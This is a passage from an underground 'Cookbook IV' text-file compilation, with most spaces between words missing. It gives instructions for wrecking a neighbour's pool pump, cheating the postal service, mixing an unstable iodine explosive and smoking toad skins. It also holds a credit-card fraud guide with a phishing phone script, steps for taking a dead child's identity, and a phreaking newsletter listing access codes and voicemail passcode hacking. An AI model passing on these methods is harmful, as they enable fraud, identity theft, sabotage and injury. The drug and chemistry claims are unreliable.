byJollyRoger
Firstofallyouneedknownothingaboutpools.Theonlythingyouneedknowis
whatapoolfilterlookslike.Ifyoudon'tknowthat.Second,dresscasual.Preferably,
inblack.Visityour"friends"house,theonewhosepoollookslikefun!!!)Thenyou
reversethepolarityofhis/herpool,byswitchingthewiresaround.Theyarelocated
inthebackofthepump.Thiswillhavequiteaneffectwhenthepumpgoeson.In
otherwords. Booom!That'sright,whenyoumix+wireswithplugsandvice
versa,the4thofJulyhappensagain.Notintototaldestruction???Whenthepumpis
off,switchthepumpto"backwash".Turnthepumponandgetthefuckout!When
youlookthenextday,funny.Thepoolisdry.Ifyouwantpermanentdamage,yetno
greatdisplaylikemyfirstonementioned,shutthevalvesofthepooloff.(Thereare
usually2)Onethatgoestothemaindrainandonethatgoestothefilterinthepool.
Thatshouldbeenoughtohaveonedeadpump.Thepumpmusttakeinwater,so
whenthereisn'tany...!Practicaljokes:thesenextonesdealwithtruefriendsand
thereis*no*permanentdamagedone.Ifyouhaveapool,youmustcheckthepool
withchemicals.Thereisonelabelledorthotolidine.Theotherislabelledalkaline
(ph).Youwantorthotolidine.(Itchecksthechlorine).Gotoyourlocalpoolstoreand
tellthemyou'regoingintothepoolbusinessandtosellyouorthotolidine(aCL
detector).Buythisingreatquantitiesifpossible.Thesolutionisclear.Youfill2
baggieswiththischemical.Andsewthebagstotheinsideofyoursuit.Next,go
swimmingwithyourfriend!Thenopenthebagsandlooklikeyou'reenjoyingapiss.
And anyone there will turn a deep red ! They will be embarrassed so much,
especiallyiftheyhavegueststhere!Explainwhatitis,thenaddvinegartothepool.
Onlyalittle.The"piss"disappears.
FreePostage
byJollyRoger
Theincreasingcostofpostagetomaillettersandpackagesisbringingdownour
standard of living. To remedy this deplorable situation, some counter control
measurescan beapplied.For example, if thestampsonaletter arecoatedwith
Elmer'sGluebythesender,thecancellationmarkwillnotdestroythestamp:the
Elmer'sdrivestoformanalmostinvisiblecoatingthatprotectsthestampsfromthe
cancellationink.Later,thereceiverofthelettercanremovethecancellationmark
withwaterandreusethestamps.Furthermore,ecologicalsavingwillalsoresultfrom
recyclingthestamps.Helpsaveatree!Theglueismostefficientlyappliedwitha
brushwithstiff,shortbristles.Justdipthebrushdirectlyintotheglueandspreadit
onevenly,coveringtheentiresurfaceofthestamp.Itwilldryinabout15minutes.
Formailingpackages,justfollowthesameprocedureasoutlinedabove;however,

thepackageshouldbeweighedandcheckedtomakesurethatithasthecorrect
amount of postage on it before it is taken to the Post Office. Removing the
cancellationandthegluefromthestampscanbeeasilyaccomplishedbysoakingthe
stampsinwarmwateruntiltheyfloatfreefromthepaper.Thestampscanthenbe
putontoapapertoweltodry.Processingstampsinlargebatchessavestimetoo.
Also,itmaybehelpfultowritethewordElmeratthetopoftheletter(notonthe
envelope)tocuethereceivingpartyinthatthestampshavebeenprotectedwiththe
glue.Weallknowthatmailingpackagescanbeexpensive.Andwealsoknowthat
thehandicappedaresometimesdiscriminatedagainstinjobs.TheGovernment,being
thegenerouspeopletheyare,havegiventheblindfreepostalservice.Simplyaddress
youenvelopeasusualandmakeonemodification.Inthecornerwherethestamp
wouldgo,writein(orstamp)thewords'freematterfortheblind".Thendropyour
packageorletterinoneofthebluefederalmailboxes.Donottakethelettertothe
postofficerleaveit inyourmailbox.SoundsveryniceoftheGovernmenttodo
this,right?Well,theyaren'tthatnice.Theparcelissentlibraryrate,thatisbelow
thirdclass.Itmaytakefourtofivedaystosendalettertojustthenexttown.Thistoo
isquitesimple,butlesseffective.Puttheaddressthatyouaresendingthelettertoas
thereturnaddress.Ifyouweresendinga$20donationtothepirate'sChest,you
wouldputouraddress(P.O.Box644,LincolnMa.01773)asthereturnaddress.
Thenyouwouldhavetobecarelessandforgettoputthestampontheenvelope.A
nicetouchistoputabullshitaddressinthecentreoftheenvelope.Again,youmust
droptheletterinafederalmailbox.Ifthepostofficedoesn'tsendthelettertothe
returnaddressforhavingnostamp,theywillsenditbackforthereasonof"Nosuch
address".Example:
PiratesChestDept.40DD
P.O.Box644865
Lincoln,Ma.41773
TomBullshit
20FakeRoad
WhatEver,XX99851

Onelastthingyoumighttrydoingissoakingacancelledstampoffofanenvelope,
andgluingitontooneyouaresending.Thenburnthestamp,leavingalittlebitto
showthattherewasonethere.
UnstableExplosives
byJollyRoger
MixsolidNitricIodinewithhouseholdammonia.Waitovernightandthenpour
offtheliquid.Youwillbeleftwithamuddysubstance.Letthisdrytillithardens.
Nowthrowitatsomething!!!
WeirdDrugs

byJollyRoger
Bananas
Obtain15poundsofripeyellowbananas.Peelallandeatthefruit.Savethe
peelings!Scrapealltheinsidesofthepeelswithasharpknife.Putallthescraped
materialinalargepotandaddwater.Boil3or4hoursuntilithasattainedasolid
pasteconsistency.Spreadpasteontocookiesheetsanddryinoftenforabout20
minutes.Thiswillresultinfineblackpowder.Usuallyonewillfeeltheeffectsafter
smokingthreetofourcigarettes.
Coughsyrup
MixRobitussionacwithanequalamountofgingeraleanddrink.Theeffectare
sedationandeuphoria.Neverunderestimatetheeffectsofanydrug!Youcanaddon
coughsyrup!
Toads
Collectfivetotentoads,frogswillnotwork.Thebestkindaretreetoads.Kill
themaspainlesslyaspossibleandskinimmediately.Allowtheskinstodryina
refrigeratorforfourtofivedaysoruntiltheskinsarebrittle.Nowcrushtheskins
intopowderandsmoke.Duetoitsbadtasteyoucanmixitwithamorefragrant
smokingmedium.
Nutmeg
Take several whole nutmegs and grind them up in an old grinder. After the
nutmegsareground.Placeinamortarandpulverizewithapestle.Theusualdosage
isabout10or15grams.Alargerdosemayproduceexcessivethirst,anxietyand
rapidheartbeat,buthallucinationsarerare.
Peanuts
Take1poundofrawpeanuts(notroasted).Shellthem,savingtheskinsand
discardingtheshells.Eatthenuts.Grinduptheskinsandsmokethem.
TheArtofCarding
byJollyRoger
Obtainingacreditcardnumber:Therearemanywaystoobtaintheinformation
neededtocardsomething.Themostimportantthingsneededarethecardnumber
andtheexpirationdate.Havingthecardholdersnamedoesn'thurt,butitisnot
essential.Theabsolutebestwaytoobtainalltheinformationneededisbytrashing.
Thewaythisisdoneissimple.Youwalkaroundyourareaoranyotherareaandfind

astore,mall,supermarketetc.,thatthrowstheirgarbageoutsideonthesidewalkor
dumpster.Ripthebagopenandseeifyoucanfindanycarbonsatall.Ifyoufind
littleshredsofcreditcardcarbons,thenitismostlikelynotworthyourtimetotape
together.Findastorethatdoesnotriptheircarbonsatalloronlyinhalf.Another
wayistobullshitthenumberoutofsomeone.Thatiscallthemupandsay"Hello,
thisisVisasecurityandwehaveareportthatyourcardwasstolen."Theywilldeny
itandyouwilltrytogetitoutofthemfromthatpointon.Youcouldsay,"Itwasn't
stolen?Well,whatistheexpirationdateandmaybewecanfixtheproblem?O.K.
Andwhatisthenumberonyourcard?Thankyouverymuchandhaveaniceday."
Orthinkofsomethingtothatdegree.Anotherwaytogetcardnumbersisthrough
systemssuchasTRWandCBI,thisisthehardwayandprobablynotworththe
trouble,unlessyouareanexpertonthesystem.Usingcreditcardnumberspostedon
BBS'sisrisky.Theonlyadvantageisthatthereisagoodchancethatotherpeople
willuseit,thusdecreasingthechancesofbeingthesoleoffender.Thelastmethod
ofgettingnumbersisverygoodalso. Inmostvideorentalstores,theytakedown
yourcreditcardnumberwhenyoujointobackupyourrentals.Soifyoucould
managetosteal thelist ormakeacopyofit,thenyouaresetfor a long time.
Choosingavictim:Onceyouhavethecardnumber,itistimetomaketheorder.The
typeofplacesthatareeasiesttovictimizearesmallbusinessesthatdomailorderor
evenlocalstoresthatdeliver.Ifyouhaveanadforaplacewithsomethingyouwant
andtheordernumberisnot a1800numberthenchancesarebetterthatyouwill
succeed.Ordering:Whenyoucalltheplaceuptomaketheorder,youmusthave
severalthingsreadilyathand.Thesearethethingsyouwillneed:aname,telephone
number,businessphone,cardnumber(4digitbankcodeifthecardisMasterCard),
expirationdateandacompleteshippingandbillingaddress.Iwilltalkaboutallof
theseindetail.Apersonaltip:whenIcalltomakeanorder,itusuallygoesmuch
smootherifthepersonyouaretalkingtoisawoman.Inmanycasestheyaremore
gulliblethanmen.Thename:youcouldusethenameonthecardorthenameofthe
personwhoyouaregoingtosendthemerchandiseto.Oryoucouldusethenameon
thecardandhaveitshippedtothepersonwholivesatthedrop(Sayitisagiftor
something). The name is really not that important because when the company
verifiesthecard,thepersonsnameisnevermentioned, except whenyouhavea
Preferred Visa card. Then the name is mentioned. You can tell if you have a
PreferredVisacardbythePVtotherightoftheexpirationdateonthecarbon.No
phonealldaylongwaitingforthecompanytocall(Whichtheywill),thenthephone
numbertogivethemasyourhomephonecouldbeoneofthefollowing:Anumber
thatisalwaysbusy,anumberthatalwaysrings,apayphonenumber,lowendofa
loop(andyouwillwaitontheotherend)orapopularBBS.Nevergivethemyour
homephonebecausetheywillfindoutassoonastheinvestigationstartswhothe
phonebelongsto.Thebestthingwouldbetohaveapayphonecallforwardyour
house(viaCosmThebusinessnumber:Whenaskedfor,repeatthenumberyouused
foryourhomephone.
Cardnumber

ThecardsyouwillusewillbeVisa,MastercardandAmericanExpress.Thebestis
byfarVisa.Itisthemoststraightforward.Mastercardisprettycoolexceptforthe
bankcode.Whentheyaskforthebankcode,theysometimesalsoaskforthebank
thatissuedit.Whentheyaskthatjustsaythebiggestbankyouknowofinyourarea.
Try to avoid American Express. They tend to lead full scale investigations.
Unfortunately, American Express is the most popular cardout. When telling the
person who is taking your call the card number, say it slow, clear and with
confidence.E.g.CC#is5217123456789012.Pauseaftereachsetoffourso
youdon'thavetorepeatit.
Expirationdate
Thedatemustbeatleastinthatmonth.Itisbesttowithmorethan3monthstogo.
Theaddress
Morecommonlyreferredtoasthedrop.Well,thedropcanrangefroman
abandonedbuildingtoyournextdoorneighboursapartment.Ifyouplantosenditto
anapartmentbuildingthenbesure not toincludeanapartmentnumber.Thiswill
confuseUPSorpostagemenalittleandtheywillleavethepackageinthelobby.
Hereisalistofvariousdrops:Thehousenextdoorwhosefamilyisonvacation,the
apartmentthatwasjustmovedoutof,theoldchurchthatwillbeknockeddownin
sixmonths,yourfriendshousewhohasabsolutelynothingtodowiththetypeof
merchandiseyouwillbuyandwhowillalsonotcrackunderheatfromfeedsetc...
Therearealsoservicesthatholdmerchandiseforyou,butpersonallyIwouldnot
trustthem.AndforgetaboutP.O.BoxesbecauseyouneedIDtogetoneandmost
placesdon'tshiptothemanyway.Otheraspectsofcarding:Verifyingcards,seeingif
theywerereportedstolen.
Verifyingcards
Storesneedtoverifycreditcardswhensomeonepurchasessomethingwithone.
Theycallupaservicethatcheckstoseeifthecustomerhasthemoneyinthebank.
Themerchantidentifieshimselfwithamerchantnumber.Theservicethenholdsthe
moneythatthemerchantverifiedonreserve.Whenthemerchantsendsinthecredit
cardform,theservicesendsthemerchantthemoney.Theserviceholdsthemoney
forthreedaysandifnoformappearsthenitisputbackintothebank.Thepointis
thatifyouwanttoverifysomethingthenyoushouldverifyitforalittleamountand
oddsarethattherewillbemoreinthebank.Thegoodthingaboutverificationisthat
ifthecarddoesn'texistorifitisstolenthentheservicewilltellyou.Toverify
MasterCardandVisatrythisnumber.Itisvoice:18003271111merchantcode
is596719.
Stolencards

 MastercardandVisacomeoutwithasmallcatalogueeveryweekwherethey
publisheverystolenorfraudulentlyusedcard.Igetthiseveryweekbytrashingthe
sameplaceonthesameday.Ifyoueverfindittrashing,thentrytogetiteveryweek.
Identifyingcards
Visacardnumbersbeginwitha4andhaveeither13or16digits.MasterCardcard
numbersbeginwitha5andhave16digits.AmericanExpressbeginswitha3and
has15digits.Theyallhavetheformatsofthefollowing:
3xxxxxxxxxxxxxxAmericanExpress
4xxxxxxxxxxxxVisa
4xxxxxxxxxxxxxxxVisa
5xxxxxxxxxxxxxxxMasterCard
Goldcards
Agoldcardsimplymeansthatcreditisgoodfor$5000.Withoutagoldcard
creditwouldbenormally$2000.Torecognizeagoldcardonacarbonthereare
severaltechniques:
American

Express

none.VisaPVinsteadofCV.
Note:WhenverifyingaPVVisa,youhavetohavetherealnameofthecard
holder.MastercardAnasterixcansignifyagoldcard,butthischangedepending
when

the

card

was

issued.
Iamgoingtotypeoutadialoguebetweenacarderandthephoneoperatortohelp
yougettheidea.
Operator:OverpricedComputerGoods,mayIhelpyou?
Carder:Hi,Iwouldliketoplaceanorderplease.
Operator:Sure,whatwouldyouliketoorder?
Carder:400genericdisksandadoubledensitydrive.
Operator:O.K.,isthereanythingelse?
Carder:No,thankyou,that'sallfortoday.
Operator:O.K.,howwouldyouliketopayforthis?MasterCardorVisa?
Carder:Visa.
Operator:Andyournameis?
Carder:LennyLipshitz.(Nameoncard)
Operator:AndyourVisacardnumberis?
Carder:4240419001340(Invalidcard)
Operator:Expirationdate?
Carder:0692.
Operator:Andwherewouldyoulikethepackageshippedto?
Carder:6732GoatsgatePort.Paris,Texas,010166.
Operator:Andwhatisyourhometelephonenumber?
Carder:2127249970(Thisnumberisactuallyalwaysbusy).

Operator: Iwillalsoneedyourbusinessphonenumberincasewehavetoreach
you.
Carder:Youcanreachmeatthesamenumber:2127249970
Operator:O.K.Thankyouverymuchandhaveaniceday.
Carder:Excuseme,whenwillthepackagearrive?
Operator:InsixtosevendaysUPS.
Carder:Thanksalotandhaveapleasantday.
Nowyouwait67dayswhenthepackagewillarrivetotheaddresswhichisreally
ahouseupforsale.Therewillbeanoteonthedoorsaying,"HelloUPS,pleaseleave
allpackagesforLennyLipshitzinthelobbyorporch.Thanksalot,LennyLipshitz"
(Makethesignaturehalfwayconvincing).Stillasdangerousasever.
Recognizingcreditcards
byJollyRoger
[Sample:AmericanExpress]

XXXXXXXXXXXXXXX
MM/Y1THRUMM/Y2Y1
JohnDoeAX
Explanation
Thefirstdateisthedatethepersongotthecard,theseconddateistheexpiration
date, after the expiration dateis the same digits inthe first year.The American
ExpressGoldhasmanymorenumbers(Ithink68then8).IfyoudofindaGoldcard
keepitforithasa$5000backupevenwhentheguyhasnomoney!
[Sample:MasterCard]
5XXXXXXXXXXXXXXX
XXXXAAADDMMYYMM/YY
JohnDoe
Explanation
Theformatvaries,Ihaveneverseenacardthatdidnotstartwitha5XXXthereis
another4digitsonthenextlinethatissometimesaskedforwhenorderingstuff,(and
rarelya3digitlettercombo(e.ANB).Thefirstdateisthedatethepersongotthe
card and the second date is the expiration date. Master Card is almost always
acceptedatstores.
[Sample:VISA]
XXXXXXX(X)XXX(X)XXX(X)
MM/YYMM/YY*VISA
JohnDoe

Explanation
Visaisthemoststraightforwardofthecards,forithasthenamerightonthecard
itself,againthefirstdateisthedatehegotthecardandthesecondistheexpiration
date.(Sometimesthefirstdateisleftout).Thenumberscaneitherbe4333or
4444.Visaisalsoalmostalwaysacceptedatstores,therefore,thebestofcardsto
use.
HowToCreateANewIdentitybyTheWalkingGlitch
courtesyofJollyRoger!
Youmightbesaying,"HeyGlitch,whatdoIneedanewidentityfor?"The
answerissimple.Youmightwanttogobuyliquorsomewhere,right?Youmight
wanttogogivethecopsthefalsenamewhenyougetbustedsoyoukeepyourgood
name,eh?YoumightevenwanttousethenewidentityforgettingaP.O.Boxfor
carding.Sure!YoumightevenwantthestuffforrentingyourselfaVCRatsome
dicklessloserofaconveniencestore.Herewego:GettinganewIDisn'talways
easy,noonesaiditwouldbe.Byfollowingthesesteps,anybozocanbecomeanew
bozoinacoupleofweeks.
Step1
Thefirststepistofindoutwhoexactlyyou'llbecome.Themostsecurewayisto
usesomeone'sIDwhodoesn'tuseitthemselves.Thepeoplewhofitthatbillthebest
aredead.Asanaddedbonustheydon'tgocomplainingonebit.Gotothelibraryand
lookthrougholddeathnotices.Youhavetofindsomeonewhowasbornaboutthe
sametimeasyouwere,orbetteryet,ayearortwooldersoyoucanbuyboozeetc.
Youshouldgobackasfarasyoucanforthedeathbecausemoststatesnowcross
index deaths to births so people can't do this in the future. The cut off date in
Wisconsinis1979,folksinthisgrandstategottalookin1978orearlier.Anything
earlierthereiscool.Now,thisisthehardestpartifyou'reyounger.Bratsthatyoung
happentobequiteresilient,takingfallsoutofthreestorywindowsandeatingrat
poisonlikeitsEastercandyandnotascratchordent.Thereain'tmanythatdie,so
yougottolookyourassoff.Godowntothelibraryandlookupallthedeathnotices
youcan,if it'sonmicrofilm somuchthebetter.Youmighthavetogothrough
months of death notices though, but the results are well worth it.You gotta get
someonewhodiedlocallyinmostinstances:thedeathcertificateisfiledonlyinthe
countyofdeath.Nowyougodowntothecountycourthouseinthecountywherehe
diedandgetthedeathcertificate,thiswillcostyouaround$3$5dependingonthe
stateyou'rein.Lookatthishunkofpaper,itcouldbeyourwaytovanishinacloud
ofsmokewhentherighttimecomes,likerightafterthatbigscam.IfYou'relucky,
theslobsparentssignedhimupwithsocialsecuritywhenhewasasnotnosedbrat.
That'llbeanotherpieceofIDyoucanget.Ifnot,that'sO.K.,too.It'llbelistedon
thedeathcertificateifhehasone.Ifyou'relucky,thestiffwasbornlocallyandyou
cangethisbirthcertificaterightaway.

Step2
Nowchecktheplaceofbirthonthedeathcertificate,ifit'sinthesameplaceyou
standingnowyou'reallset.Ifnot,youcanmailawayforonefromthatcountybutits
aminorpainanditmighttakeawhiletoget,thelibrarianatthedeskhaslistingsof
wheretowriteforthisstuffandexactlyhowmuchitcosts.GettheBirthcertificate,
itsworththeextramoneytogetitcertifiedbecausethat'stheonlywaysomepeople
willacceptitforID.Whenyou'regettingthisstuff,thelittleformsaskforthereason
youwantit,insteadofwritingin"Fuckyou",tryputtingintheword"Genealogy".
Theygetthisallthetime.IftheDeathcertificatelooksgoodforyou,waitadayorso
beforegettingthecertifiedbirthcertificateincasetheyrecognizesomeonewantingit
foradeadguy.
Step3
Nowyourcooking!Yougotyourstartandthenextpartiseasy.Crankoutyourold
Dotmatrixprinterandrunoffsomemailinglabelsaddressedtoyouatsomephony
address.Takethetimetocheckyourphonyaddressthatthereissuchaplace.Hotels
thatrentbythemonthorlargeapartmentbuildingsaregood,besuretogettheright
zipcodeforthearea.Thesearethingsthatthecopsmightnoticethatwilltripyouup.
Grabsomeoldjunkmailandpasteyournewlabelsonthem.Nowtakethemalong
withthebirthcertificatedowntothelibrary.Getanewlibrarycard.Iftheyaskyou
ifyouhadonebeforesaythatyoureallyaren'tsurebecauseyourfamilymoved
aroundalotwhenyouwereakid.Mostlibrarieswillallowyoutouselettersasa
formofIDwhenyougetyourcard.Iftheywantmoregivethemasobstoryabout
howyouweremuggedandgotyourwalletstolenwithallyouridentification.Your
cardshouldbewaitingforyouinabouttwoweeks.Mostlibrariesaskfortwoforms
ofID,onecanbeyourtrustyBirthCertificateandtheydoallowlettersaddressedto
youasasecondform.
Step4
Nowyougotastart,itisn'tperfectyet,solet'scontinue.Youshouldhavetwo
formsofIDnow.Throwawaytheoldlettersorbetteryetstufftheminsidethewallet
youintendtousewiththisstuff.Gotothecountycourthouseandshowthemwhat
niceIDyougotandgetastateIDcard.NowyougotapictureID.Thiswilltake
abouttwoweeksandcostabout$5,itswellworthit.
Step5
Ifthedeathcertificatehadasocialsecuritynumberonityoucangooutandbuy
oneofthosemetalSS#cardsthattheysell.Ifitdidn't,thenyougotallkindsof
prettyIDthatshowsexactlywhoyouare.Ifyoudon'tyethaveanSS#.Godown
and apply for one, these are free but they could take five or six weeks to get.

Bureaucrats,youknow!YoucaninventaSS#,tooifyoulike,butthemottoof
Thewalkingglitchhasalwaysbeen"Whynotexcellence?".
Step6
Ifyouwanttogowholehogyoucannowgetabankaccountinyournewname.If
youplantodoalotoftravellingthenyoucanputalotofmoneyintheaccountand
thensayyoulosttheaccountbook.Afteryougetthenewbookyoutakeoutallthe
cash.They'llhityouwithaslightchargeandmaybetieupyourmoneysome,butif
you'reever brokeinsomesmalltownthatbankbookwillkeepyoufrombeing
throwninjailasavagrant.
Alldone?
Sokiddies,yougotIDforbuyingbooze,butwhatelse?Insometowns(thelarger
themorelikely)thecopsiftheycatchyouforsomethingpettylikeshopliftingstuff
underacertaindollaramount,willjustgiveyouaticket,samethingforpissinginthe
street.That'sit!Nofingerprintsornothing,justpaythefine(almostalwaysover$
100)orappearincourt.OfcoursetheyrunaradiocheckonyourID,you'llbeclean
andyouralteregogetsablotonhisrecord.Yourfreeandclear.That'sworththe
priceofthetroubleyou'vegonethroughrightthere.Ifyoursmart,you'lltossthatID
awayifthishappens,orbetteryet,tearoffyourpictureandgivetheIDtosomeone
youdon'tlike,maybethey'llgetbustedwithit.Ifyou'reaworkingstiff,here'saway
tostretchyourdollar.Gotoworkforaslongasittakestogetunemploymentand
thengetyourselffired.Gotoworkundertheothernamewhileyourgettingthe
unemployment.WithacoupleofsetsofID,youcanlivelikeaking.Theseconcepts
forsurvivalinthenewagecometoyoucomplimentsofThewalkingglitch.First
releaseofthisfile7/7/88.
broughttoyouintheCookbookIVcourtesyof...
TheRemoteInformer
Editors:Tracker,NormanBatesandYeCap'nSeptember26,1987Issue:02#
broughttoyoubythenewTuff:TheUndergroundPhoneFederation
TheNews
CelestialElite/TuffCometoanEnd
CelestialEliteandTuff,thefamoushack/freakgroupscametoanendacouple
weeksago.Tuff,however,isbeingrebornandyoucanexpectittobebacktofull
force within a month. Sources have it that Magnus Adept, head of the now
terminatedgroup,CelestialElite,hasstartedanewgroupcalledAvalonKingdom.
Weareunsurewhatplansareinstoreforit.Tuffhasseveralideasandplansthatwill
beouttothepublicsoon.LookforfutureissuesofTheRemoteInformer(tm)for

newupdates.
SprintStrikesBack
SprintcaughtaguydealingcodesonthestreetinL.A.thispastweek.Information
onthisbustislimitedatthistime.AseventeenyearoldwasbustedinArizonalast
week.Thenameoftheteenagerwillnotbeprintedtoprotecthimfromharassment
calls.ThisinformationwassuppliedbyFreakyPhoneII.
BeigeBoxBust
OneofoureditorsandamemberofTuff,NormanBateswascaughtforBeige
boxingthathehaddoneover3monthsago.Thecallshehadmadewereinsidehis
stateandcostatotalof$12.Hepaidthebillandnochargeswerefiledagainsthim.

TeleNetHacker
CrusaderreleasedhisTeleNethackingprogramonSeptember20,1987.Lookfor
it onagoodboardyoucall.Areviewwillbeinthenextissueof The Remote
Informer.
Bate'sMotelMoves
Bate'sMotelBBS,runbyNormanBates,wasforcedtomove.Itistemporarilyset
up at (619) 267 8 619. It will remain 1 200 baud, and a member of the Tuff
Network.Itisopentothepublic.
FreakyPhonesReturn:Amazing?
TheoriginalFreakyPhonenumbersnowsupportthenewFreakyPhones.Theguys
runningthemhadprotestedthatthelineswerebeingmonitored.Thereisnowaythat
couldhavebeen,andtheycontradictedthemselvesbyrestartingFreakyPhoneson
thesamenumbers.Theygavealotofcredittothepeoplecallingtosuggestthey
believeastorylikethat.
LDDSBuysOutTMC:CompaniesMerge
LDDSboughtoutTMClastmonth.TheymergedintoLDDS,sinceitwasbigger
and more widespread. Any companies that were subscribing to the TMC long
distanceservicewereautomaticallyconvertedtoLDDS.AlllocalTMCportsstill
work,butwillsoonbedisconnected.RefertothearticleonLDDSinthisissuefor
moreinformationonLDDSdialups.

USSprintCallsDestinations
USSprintnowcallsallthenumberscalledwithunauthorizedcodes.Theirdis
advantageisthattheyaredelayedbyabouttwomonthsincallingbecausetheyhave
towaittillpeoplereporttheydidnotmakecallstothenumberstheywerebilledfor.
BestadviceistonotcallvoicewithSprintexcepttothosewhohaveprivatelines
otherthantheirregularphoneline.
Pirate'sHollowisbackwith10Megs
Pirate'sHollowisbackonline.Itnowisruna10megharddrive.Unlikemost
boardsthathave#'sofmegs,thisonewillstressmoreattentiononit'sdatabase.The
databaseisscheduledtobeonlinebyOctober1st.Thisdatabasewillcontain800+
textfilesonvarioustopics,withabout60%70%pertainingtoillegalactivities.
Unfortunately,TraxXeisbeingredesigned,sountilitisfinished,itwillrunon
Carina.Thenumberis(415)5936784(300/1200baud).
RaggersandBraggers
Thissectionistomakeyouawareofwellknownraggersandbraggers.Sincethis
isthefirsttimethissectionisbeingprinted,wewilltellyouwhatclassifiespeopleas
raggersandbraggers.Inthefutureissuesthetopraggersandbraggerswillbelisted
inthisnewslettertolettheSysopsknowwhonottoletontheirboardortoatleast
keepaneyeon.Araggerissomeonewhowillputsomeoneelsedownforsomething.
The person might post a message asking a novice question about hacking and
freaking,ormaysaysomethingthatiscompletelywrongandaraggerwillputthe
other persondownfor he said,posted etc.Theonesthatusuallyclassifyinthis
categoryaretheonesthatthinktheyknowitallandconsiderthemselvesrightno
matterwhatanyonesays.Mostoftheusersthatusecodesandconsiderthemselvesa
masterfreakerusuallybecomeraggers.Abraggerissomeonewhoeitherdoesor
thinkshedoesknoweverythingandputsituponhimselftotellthewholeworldthat
heknowsitall.Thispersonisalsoonewhothinksheisbetterthaneveryoneelseand
hebelievesheisEliteandnooneelseis.Peoplewhotendtodothisarethosewho
have, for some reason, become well known in the underworld and as a result
becomeabragger.Thoseusuallynottoowellknownwillnottendtobragasmuch
asthosewhothinkeveryonewouldlovetobetheirfriendandbelikethem.Asa
wellknownraggerandbragger,TheToad,learnedthatitdoesnothelptobeoneor
bothofthose.Hehassincechangedandisnoweasilyacceptedbymost.Mostpeople
dislikedhimbecauseotherstheyknewhadsaidsomethingbadabouthim.Thisis
calledpeerpressureandisabadinfluencetothosewhoarenewtotheunderworld.I
wouldsuggestinthefuture,tonotjudgesomeonebywhatotherssay,butratherby
howtheyactaround/toyou.ThecurrentmostpopularAtarianthatclassifiesasa
raggerandabraggerisAceofAces,andiswellhatedbymanyusersandSysOps,
sincehetendstoputdownanythinganyonesaysandconsidershimselfthebestat
writinghackingprograms.HeiscommonlyreferredtoasAssofAssesandAssof
Assholes.Evenholdinganopenmindaboutthisguy,youwouldsooncometofind

thatwhatotherssaidcoincideswithwhatyouseefromhim.
Anew950hasarrived!
LDDS,whoasmentionedaboveboughtoutTMC,isinstallinganew950portto
mostmajorcities.Bythetimeyoureadthis,itshouldbeinalmosteveryareathat
supports950ports.Thenumberis9501450.Thisportwilldial976numbers,but
not700,800or900numbers.ThediallingmethodforLDDSis:7digitcode,then
evenifthecodeisbaditwillgiveyouadialtone.Thendialtheareacodeplusthe
number.Ifyouhaveabadcodeitwillsimplysayyourcallcannotbecompletedasit
wasdialled.Thereisadefaultcodeusedonthesystemthatcurrentlyworks.The
codeissimply,1234567.Ihaveseencodesfrom5differentcompaniesandtheyall
areintheformatof00xxxxx.Idonotknowwhattypeofsoftwaretheyuse,butIwill
knowbythenextissueexactlywhattheyplaceonthebills.Thiscouldbetheanswer
toalotofpeople'sproblemswithfearofSprintandITT,especiallyAllNets.Just
remember, Tracker is the one who found this, and all information about it. If
someoneisseensayingtheyfoundthis,thentheywillbelistedinthenextissue
whichwillcontainanarticleonleeches.
MailboxSystems
Mailboxsystemsarethelinkbetweeninformationandtheunderworld.Ifyouhave
evercalledone,thenyouwillknowtheadvantagesofhavingone,especiallytheones
thatareopentowholeunderworld,ratherthanjustaselectfew.Therearetwotypes
ofmailboxsystemsthatarewidelyused.Thefirsttypewewilltalkaboutisthe
multiple mailbox systems, or commonly referred to as message systems. These
systemshaveseveralmailboxessetupononenumber.Usually,youcanaccessother
mailboxesfromthatnumberbypressing*or#.Sometimesyoujustenterthe
mailboxnumberandyouareconnected.Thesearethesafestsystemstousetoprotect
informationfromUSSprintandotherlongdistancecompanies.SinceUSSprintand
othercompaniescallthedestinationnumbers,itissafertohave800mailboxsystems
andmostofthetime,themultiplemailboxsystemsareon800numbers.Thepass
codeonthesesystemscanvaryinlengthandcanbeaccessedbyseveraldifferent
methods,soitisimpossibletoexplainexactlyhowtohackthesesystems.Theother
typeisthesinglemailboxsystem.Theseareusuallysetupinareservedprefixinan
areacode.(Ex:7136846xxx)Thesesystemsareusuallycontrolledbythesame
typeofhardware/software.Toaccesstheareawhereyouenterthepasscode,just
hit0forasecondorso.Thepasscodesarefour(4)digitslong.Theonlywayto
hacktheseismanually.Thebestthingyoucoulddoistofindonethatdoesnothave
arecordingfromaperson,butjustthedigitizedvoice.Ifyouhackonethatsomeone
alreadyowns,theywillreportitanditwillnotlastaslong.Hereisalistmailboxes
orprefixestohelpyougetstarted:
SingleMultipleDigits

2132818xxx21271427703
2132858xxx21658650004
2135152xxx4153387000AspenMessageSystem3
2147335xxx7144742033WesternDigital
2148556xxx8002220651VincentandElkins4
2149782xxx80023384883
2159492xxx8004478477Fairylink7
3124508xxx80052153443
3137681xxx8005242133RCA4
4055578xxx8005270027TTETeleMessager6
6022304xxx8006327777Asynk6
6194928xxx8006457778SoftCellComputers4
7136846xxx8006489675Zoykon4
8008470003CommunicationsWorld3
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review of Code Hackers for allmodems; list of TeleNet addresses; creditCard
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TheRemoteInformerNewsletter!
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TheEditors:Tracker,YeCap'n,NormanBatesandTheReporter
Introduction
It'sbeenamonthnowandalothashappened.Somuch,infact,thattheinformation
willbesplitintoseveralissues.ThisshouldbenoshocksinceImentionedinthefirst
issue that we may put several issues out sometimes. I want to congratulate the
readersforfinallycontributingtothenewsletter.Thisfirsttwoissueswereallon
informationthatI,myself,obtained.Severalpeoplegavemeinformationforthese

issues,andtheirhandleandinformationisincludedinthearticles.
InTheNews!
Information!
Wehavesomuchinfotoputout,thatweareputtingoutmanyissuesatonetime.
Ifyouwantallissuesthatareoutnow,thencalloneoftheboardsattheendofthe
issueorlookforaneditoronahackBBS.
ITThas9digits!
Forthoseofyouwhodidnotknowthis,ITThasninedigitcodes.Theyaresaidto
givebetterconnectionstosomeextent.Thisinfo.wasoriginallygiventousbyParty
Beast.
FreakyPhonesGoDown!
ThefamedFreakyPhonesaredownagain.ModemMan,theoriginalpersonthat
startedthem,hassaidthattheywillbedownuntilfurthernotice.Inthemeantime,
otherindependentboxesarebeingstarted.Alistingcanbemadeofcurrentoneson
request.
MagnusAdeptGetsBusted
FellowAtarianandwellknownFreakMagnusAdeptgotcaughtbyMCI.Details
ofthehow,whenandwherearenotknownatthistime.Hegotcaughtwith150
